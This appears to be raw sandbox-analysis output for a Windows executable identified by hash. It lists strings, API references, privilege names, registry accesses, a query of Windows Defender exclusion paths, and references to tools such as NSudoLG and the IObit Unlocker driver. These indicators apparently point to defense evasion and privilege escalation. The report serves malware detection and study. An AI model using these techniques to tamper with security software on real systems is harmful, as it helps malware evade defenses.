commandline "reg query "HKLM\\Software\\Microsoft\\Windows Defender\\Exclusions\\Paths"" (UID: 00000000-00008016)5e:T4c0,Found string "OpenProcessToken" (Indicator: "OpenProcess"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") file/memory contains long string with (Indicator: "OpenProcess"; File: "nircmd.exe") Found string "ZwOpenProcess" (Indicator: "OpenProcess"; File: "00000000-00006300.00000000.98189.00972000.00000080.mdmp") Found string "OpenProcess" (Indicator: "OpenProcess"; File: "00000000-00006300.00000000.98189.00972000.00000080.mdmp") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found string "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found string "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00004960.00000000.88566.00EEE000.00000002.mdmp") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp")5f:T1075,Found string "\DosDevices\IObitUnlockerDevice" (Indicator: "\DosDevices\"; File: "00000000-00006300.00000000.98189.00972000.00000080.mdmp") Found string "\Device\HarddiskVolume1\unlocker.log" (Indicator: "\Device\"; File: "00000000-00006300.00000000.98189.00972000.00000080.mdmp") Found string "\Device\HarddiskDmVolumes\" (Indicator: "\Device\"; File: "00000000-00006300.00000000.98189.00972000.00000080.mdmp") Found string "d:\worker\huoqi\zhanghaitaosvn\project\driver\other\iobitunlocker\unlocker\driver\bin\Win7\i386\IObitUnlocker.pdb" (Indicator: "\driver\"; File: "00000000-00006300.00000000.98189.00972000.00000080.mdmp") Found string "ystem32\drivers\mssecflt.sys" (Indicator: "\drivers\"; Source: "00000000-00001124.00000000.95818.65970000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00001124.00000000.95818.65970000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\tasklist.exe" (Indicator: "\Device\"; Source: "00000000-00001376.00000000.90753.51B90000.00000004.mdmp, 00000000-00001376.00000001.90767.51BAA000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00001952.00000000.94843.91350000.00000004.mdmp") Found string "SystemRoot\system32\drivers\wd\WdFilter.sys" (Indicator: "\drivers\"; Source: "00000000-00001952.00000000.94843.91350000.00000004.mdmp") Found string "SystemRoot\system32\drivers\wd\WdFilter.sys" (Indicator: "system32\drivers"; Source: "00000000-00001952.00000000.94843.91350000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00002700.00000000.95168.47190000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00003388.00000000.95492.30E10000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00004320.00000000.92242.74F60000.00000004.mdmp") Found string "WS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00004692.00000000.89330.02DC0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00004724.00000000.90372.9D5A0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00004800.00000000.89990.D7AA0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00004836.00000000.93867.02A50000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00004868.00000000.91261.F5C70000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\SysWOW64\reg.exe" (Indicator: "\Device\"; Source: "00000000-00004960.00000000.88566.006E0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00005024.00000000.92892.D6FA0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00005036.00000000.96866.C7D80000.00000004.mdmp") Found string "SystemRoot\system32\drivers\wd\WdFilter.sys" (Indicator: "\drivers\"; Source: "00000000-00005036.00000000.96866.C7D80000.00000004.mdmp") Found string "SystemRoot\system32\drivers\wd\WdFilter.sys" (Indicator: "system32\drivers"; Source: "00000000-00005036.00000000.96866.C7D80000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00005096.00000000.92566.4D740000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\reg.exe" (Indicator: "\Device\"; Source: "00000000-00005164.00000000.93217.CF550000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00006300.00000000.98189.00800000.00000004.mdmp") Found string "\DosDevices\IObitUnlockerDevice" (Indicator: "\DosDevices\"; Source: "00000000-00006300.00000000.98189.00972000.00000080.mdmp")60:Tf5d,Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "SeBackupPrivilege" (Indicator: "SeBackupPrivilege"; File: "00000000-00004960.00000000.88566.00EA1000.00000020.mdmp") Found reference to API "LookupPrivilegeValue" (Indicator: "LookupPrivilegeValue"; File: "00000000-00006300.00000000.98189.00972000.00000080.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00001376.00000000.90753.51B90000.00000004.mdmp, 00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00004320.00000000.92242.74F60000.00000004.mdmp") Found reference to API "SeImpersonatePrivilege" (Indicator: "SeImpersonatePrivilege"; Source: "00000000-00004320.00000000.92242.74F60000.00000004.mdmp") Found reference to API "SeImpersonatePrivilege" (Indicator: "SeImpersonate"; Source: "00000000-00004320.00000000.92242.74F60000.00000004.mdmp") Found reference to API "SeLoadDriverPrivilege" (Indicator: "SeLoadDriverPrivilege"; Source: "00000000-00004320.00000000.92242.74F60000.00000004.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "SeBackupPrivilege" (Indicator: "SeBackupPrivilege"; Source: "00000000-00004868.00000000.91261.F5C70000.00000004.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00004868.00000000.91261.F5C70000.00000004.mdmp") Found reference to API "SeLoadDriverPrivilege" (Indicator: "SeLoadDriverPrivilege"; Source: "00000000-00004868.00000000.91261.F5C70000.00000004.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00004868.00000000.91261.F5C70000.00000004.mdmp") Found reference to API "SeBackupPrivilege" (Indicator: "SeBackupPrivilege"; Source: "00000000-00004960.00000000.88566.00EA1000.00000020.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00004960.00000000.88566.00EEE000.00000002.mdmp") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00004960.00000000.88566.00EEE000.00000002.mdmp") Found reference to API "SeBackupPrivilege" (Indicator: "SeBackupPrivilege"; Source: "00000000-00005164.00000000.93217.CF550000.00000004.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00005164.00000000.93217.CF550000.00000004.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp")61:T49b,Found reference to API "SetFileSecurityW" (Indicator: "SetFileSecurityW"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateToken"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateTokenEx"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "SetFileSecurityW" (Indicator: "SetFileSecurityW"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp") Found reference to API "GetFileSecurityW" (Indicator: "GetFileSecurityW"; Source: "00000000-00006000.00000000.97850.01251000.00000002.mdmp")62:T588,Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "ZwTerminateProcess" (Indicator: "ZwTerminateProcess"; File: "00000000-00006300.00000000.98189.00972000.00000080.mdmp") Found reference to API "ZwTerminateProcess" (Indicator: "TerminateProcess"; File: "00000000-00006300.00000000.98189.00972000.00000080.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00001376.00000001.90767.17AC2000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00004960.00000000.88566.00EEE000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004960.00000000.88566.00EEE000.00000002.mdmp")63:Tf3b,Found reference to API "SeSecurityPrivilege" (Indicator: "SeSecurityPrivilege"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "SeRestorePrivilege" (Indicator: "SeRestorePrivilege"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "SeCreateSymbolicLinkPrivilege" (Indicator: "SeCreateSymbolicLinkPrivilege"; File: "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe") Found reference to API "SeLockMemoryPrivilege" (Indicator: "SeLockMemoryPrivilege"; File: "00000000-00006000.00000000.97850.011A1000.00000020.mdmp") Found reference to API "SeChangeNotifyPrivilege" (Indicator: "SeChangeNotifyPrivilege"; Source: "00000000-00004320.00000000.92242.74F60000.00000004.mdmp") Found reference to API "SeCreateGlobalPrivilege" (Indicator: "SeCreateGlobalPrivilege"; Source: "00000000-00004320.00000000.92242.74F60000.00000004.mdmp") Found reference to API "SeCreatePagefilePrivilege" (Indicator: "SeCreatePagefilePrivilege"; Source: "00000000-00004320.00000000.92242.74F60000.00000004.mdmp") Found reference to API "SeCreatePermanentPrivilege" (Indicator: "SeCreatePermanentPrivilege"; Source: "00000000-00004320.00000000.92242.74F60000.00000004.mdmp") Found reference to API "SeIncreaseBasePriorityPrivilege" (Indicator: "SeIncreaseBasePriorityPrivilege"; Source: "00000000-00004320.00000000.92242.74F60000.00000004.mdmp") Found reference to API "SeLockMemoryPrivilege" (Indicator: "SeLockMemoryPrivilege"; Source: "00000000-00004320.00000000.92242.74F60000.00000004.mdmp") Found reference to API "SeProfileSingleProcessPrivilege" (Indicator: "SeProfileSingleProcessPrivilege"; Source: "00000000-00004320.00000000.92242.74F60000.00000004.mdmp") Found reference to API "SeTcbPrivilege" (Indicator: "SeTcbPrivilege"; Source: "00000000-00004320.00000000.92242.74F60000.00000004.mdmp") Found reference to API "SeSecurityPrivilege" (Indicator: "SeSecurityPrivilege"; Source: "00000000-00004320.00000000.92242.74F60000.00000004.mdmp") Found reference to API "SeRestorePrivilege" (Indicator: "SeRestorePrivilege"; Source: "00000000-00004320.00000000.92242.74F60000.00000004.mdmp") Found reference to API "SeTcbPrivilege" (Indicator: "SeTcbPrivilege"; Source: "00000000-00004692.00000000.89330.40017000.00000002.mdmp") Found reference to API "SeRestorePrivilege" (Indicator: "SeRestorePrivilege"; Source: "00000000-00004868.00000000.91261.F5C70000.00000004.mdmp") Found reference to API "SeChangeNotifyPrivilege" (Indicator: "SeChangeNotifyPrivilege"; Source: "00000000-00004868.00000000.91261.F5C70000.00000004.mdmp") Found reference to API "SeSecurityPrivilege" (Indicator: "SeSecurityPrivilege"; Source: "00000000-00004868.00000000.91261.F5C70000.00000004.mdmp") Found reference to API "SeIncreaseQuotaPrivilege" (Indicator: "SeIncreaseQuotaPrivilege"; Source: "00000000-00004868.00000000.91261.F5C70000.00000004.mdmp") Found reference to API "SeAssignPrimaryTokenPrivilege" (Indicator: "SeAssignPrimaryTokenPrivilege"; Source: "00000000-00004868.00000000.91261.F5C70000.00000004.mdmp") Found reference to API "SeTcbPrivilege" (Indicator: "SeTcbPrivilege"; Source: "00000000-00004868.00000000.91261.F5C70000.00000004.mdmp") Found reference to API "SeIncreaseBasePriorityPrivilege" (Indicator: "SeIncreaseBasePriorityPrivilege"; Source: "00000000-00004868.00000000.91261.F5C70000.00000004.mdmp") Found reference to API "SeSystemEnvironmentPrivilege" (Indicator: "SeSystemEnvironmentPrivilege"; Source: "00000000-00004868.00000000.91261.F5C70000.00000004.mdmp") Found reference to API "SeTakeOwnershipPrivilege" (Indicator: "SeTakeOwnershipPrivilege"; Source: "00000000-00004868.00000000.91261.F5C70000.00000004.mdmp") Found reference to API "SeRestorePrivilege" (Indicator: "SeRestorePrivilege"; Source: "00000000-00004960.00000000.88566.00EA1000.00000020.mdmp")64:Tc7e,"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\CMD.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\SAKED\NIRCMD.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\CHCP.COM"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\REG.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\SAKED\NSUDOLG.EXE"; Value: "") "NSudoLG.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\SAKED\NIRCMD.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CHCP.COM"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\REG.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\MODE.COM"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\FIND.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\FINDSTR.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\SAKED\7Z.EXE"; Value: "")65:Tc62,"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000") "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000") "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000") "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000") "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC3475"; Value: "C90B000000000000040004000102030000000000630000000D7879000200000087DE83002F000000A19F5E000100010000000100000056737D000100040000001F0000001A9CB20000") "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC1C75"; Value: "471F0000000000000400040001001D00020000000D7879000DA1810016DDA4001E8D520021777A00259960002C3D81003E3383004AAA8100560A8500726E4A0075A37E00799C39008106950087DE83009D9D9200A736A800B1CE9800B3F1A200BC6EB400C046AD00C36D8100CF74AA00D3E88D00E1C97700E7997F00EBBF8400F1FC6000F7D36F0006000600000019C398001C4452007140A30091508A00A522A400C45F7F0000") "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC1C75"; Value: "481F0000000000000400040001002000020000000D7879000DA1810016DDA4001E8D520021777A00259960002C3D81003E3383004AAA8100560A8500726E4A0075A37E00799C39008106950087DE8300938661009D9D9200A736A800B1CE9800B3F1A200BC6EB400C046AD00C36D8100CC495600CF74AA00D3E88D00E1C97700E7997F00EBBF8400F1FC6000F7D36F00F7ED6A0006000600000019C398001C4452007140A30091508A00A522A400C45F7F0000") "reg.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\THEMES\PERSONALIZE"; Key: "APPSUSELIGHTTHEME"; Value: "0000000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "0C1348B86485DC010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "224CCDBB6485DC010000000000000000000000000200000000") "cmd.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-18"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "B5E7A1F16485DC010000000000000000000000000200000000")66:Te20,Found string "SetDllDirectoryW" (Source: 9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe, API is part of module: KERNEL32.DLL) Found string "SetDefaultDllDirectories" (Source: 9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe, API is part of module: KERNELBASE.DLL) Found string "FlsAlloc" (Source: 9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe, API is part of module: KERNELBASE.DLL) Found string "FlsFree" (Source: 9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe, API is part of module: KERNELBASE.DLL) Found string "FlsGetValue" (Source: 9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe, API is part of module: KERNELBASE.DLL) Found string "FlsSetValue" (Source: 9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe, API is part of module: KERNELBASE.DLL) Found string "InitializeCriticalSectionEx" (Source: 9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe, API is part of module: KERNELBASE.DLL) Found string "GetCurrentPackageId" (Source: 9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe, API is part of module: KERNEL.APPCORE.DLL) Found string "LCMapStringEx" (Source: 9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe, API is part of module: KERNELBASE.DLL) Found string "LocaleNameToLCID" (Source: 9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe, API is part of module: KERNELBASE.DLL) Found string "log10" (Source: 9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe, API is part of module: MSVCRT.DLL) Found string "atan2" (Source: 9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe, API is part of module: MSVCRT.DLL) Found string "floor" (Source: 9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe, API is part of module: MSVCRT.DLL) Found string "ldexp" (Source: 9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe, API is part of module: MSVCRT.DLL) Found string "frexp" (Source: 9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe, API is part of module: MSVCRT.DLL) Found string "ShowWindow" (Source: 9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe, API is part of module: USER32.DLL) Found string "GetDlgItem" (Source: 9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe, API is part of module: USER32.DLL) Found string "EnableWindow" (Source: 9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe, API is part of module: USER32.DLL) Found string "SetWindowTextW" (Source: 9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe, API is part of module: USER32.DLL) Found string "GetParent" (Source: 9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe, API is part of module: USER32.DLL) Found string "SetWindowPos" (Source: 9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe, API is part of module: USER32.DLL) Found string "SetDlgItemTextW" (Source: 9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe, API is part of module: USER32.DLL) Found string "GetSystemMetrics" (Source: 9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe, API is part of module: USER32.DLL) Found string "GetClientRect" (Source: 9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe, API is part of module: USER32.DLL) Found string "GetWindowRect" (Source: 9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe, API is part of module: USER32.DLL)67:T69d,"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" reads file "C:\Windows\win.ini" "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" reads file "C:\Users\%OSUSER%\Desktop\desktop.ini" "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" reads file "C:\Users\%OSUSER%\Documents\desktop.ini" "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" reads file "C:\Users\%OSUSER%\Music\desktop.ini" "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" reads file "C:\Users\%OSUSER%\Pictures\desktop.ini" "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" reads file "C:\Users\%OSUSER%\Videos\desktop.ini" "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" reads file "C:\Users\%OSUSER%\Downloads\desktop.ini" "9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe" reads file "C:\Users\%OSUSER%\OneDrive\desktop.ini" 